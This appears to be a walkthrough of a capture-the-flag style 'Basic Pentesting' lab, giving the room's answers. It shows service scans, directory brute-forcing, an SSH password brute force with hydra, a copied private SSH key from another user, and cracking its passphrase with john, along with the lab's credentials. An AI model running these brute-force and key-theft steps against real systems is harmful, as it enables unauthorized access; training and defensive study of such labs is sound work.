Basic Pentesting

This is a machine that allows you to practice web app hacking and privilege escalation

Task 1 Web App Testing and Privilege Escalation

In these set of tasks you'll learn the following:

  • brute forcing

  • hash cracking

  • service enumeration

  • Linux Enumeration

The main goal here is to learn as much as possible. Make sure you are connected to our network using your OpenVPN configuration file.

Credits to Josiah Pierce from Vulnhub.

Answer the questions below

Deploy the machine and connect to our network

No answer needed

Find the services exposed by the machine

root@kali:~# nmap -sV 10.10.172.195
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-20 07:43 UTC
Nmap scan report for ip-10-10-172-195.eu-west-1.compute.internal (10.10.172.195)
Host is up (0.0010s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8080/tcp open  http        Apache Tomcat 9.0.7
MAC Address: 02:EA:B6:B5:03:7F (Unknown)
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.35 seconds

No answer needed

What is the name of the hidden directory on the web server(enter name without /)?

root@kali:~# dirb http://10.10.172.195

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Mon Sep 20 07:44:39 2021
URL_BASE: http://10.10.172.195/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.172.195/ ----
==> DIRECTORY: http://10.10.172.195/development/                                                              
+ http://10.10.172.195/index.html (CODE:200|SIZE:158)                                                         
+ http://10.10.172.195/server-status (CODE:403|SIZE:301)                                                      
                                                                                                              
---- Entering directory: http://10.10.172.195/development/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Mon Sep 20 07:44:41 2021
DOWNLOADED: 4612 - FOUND: 2

Answer format: development

User brute-forcing to find the username & password

after some enum i get this notes

  1. SMB has been configured.

  2. There is Apache struts version 2.5.12 running.

  3. User j is using weak password which can be cracked easily.

run enum4linux

now we have 2 username kay, jan

remember jan has weak password lets brute force jan ssh

root@kali:~# hydra -t 4 -l jan -P /usr/share/wordlists/rockyou.txt/rockyou.txt ssh://10.10.172.195

after while credentials jan:armando

No answer needed

What is the username?

Answer format: jan

What is the password?

Answer format: armando

What service do you use to access the server(answer in abbreviation in all caps)?

Answer format: ssh

Enumerate the machine to find any vectors for privilege escalation

after some enum ... no way to vertical escalation

lets go for horizontal ... i can access private ssh key for kay

jan@basic2:/home/kay/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

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AGIExXRIJXlwF4G0bsl5vbydM55XlnBRyof62ucYS9ecrAr4NGMggcXfYYncxMyK
AXDKwSwwwf/yHEwX8ggTESv5Ad+BxdeMoiAk8c1Yy1tzwdaMZSnOSyHXuVlB4Jn5
phQL3R8OrZETsuXxfDVKrPeaOKEE1vhEVZQXVSOHGCuiDYkCA6al6WYdI9i2+uNR
ogjvVVBVVZIBH+w5YJhYtrInQ7DMqAyX1YB2pmC+leRgF3yrP9a2kLAaDk9dBQcV
ev6cTcfzhBhyVqml1WqwDUZtROTwfl80jo8QDlq+HE0bvCB/o2FxQKYEtgfH4/UC
D5qrsHAK15DnhH4IXrIkPlA799CXrhWi7mF5Ji41F3O7iAEjwKh6Q/YjgPvgj8LG
OsCP/iugxt7u+91J7qov/RBTrO7GeyX5Lc/SW1j6T6sjKEga8m9fS10h4TErePkT
t/CCVLBkM22Ewao8glguHN5VtaNH0mTLnpjfNLVJCDHl0hKzi3zZmdrxhql+/WJQ
4eaCAHk1hUL3eseN3ZpQWRnDGAAPxH+LgPyE8Sz1it8aPuP8gZABUFjBbEFMwNYB
e5ofsDLuIOhCVzsw/DIUrF+4liQ3R36Bu2R5+kmPFIkkeW1tYWIY7CpfoJSd74VC
3Jt1/ZW3XCb76R75sG5h6Q4N8gu5c/M0cdq16H9MHwpdin9OZTqO2zNxFvpuXthY
-----END RSA PRIVATE KEY-----

No answer needed

What is the name of the other user you found(all lower case)?

Answer format: kay

If you have found another user, what can you do with this information?

No answer needed

What is the final password you obtain?

try to connect with ssh ... passphrase required

i'll use ssh2hohn to extract it

root@kali:~# locate ssh2john
/usr/share/john/ssh2john.py
root@kali:~# /usr/share/john/ssh2john.py id_rsa > pass.hash
root@kali:~# sudo john --wordlist=/usr/share/wordlists/rockyou.txt/rockyou.txt pass.hash 
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax          (id_rsa)
1g 0:00:00:06 DONE (2021-09-20 08:38) 0.1494g/s 2143Kp/s 2143Kc/s 2143KC/sa6_123..*7¡Vamos!
Session completed

passphrase beeswax

after login

kay@basic2:~$ cat pass.bak 
heresareallystrongpasswordthatfollowsthepasswordpolicy$$

Answer format: heresareallystrongpasswordthatfollowsthepasswordpolicy$$

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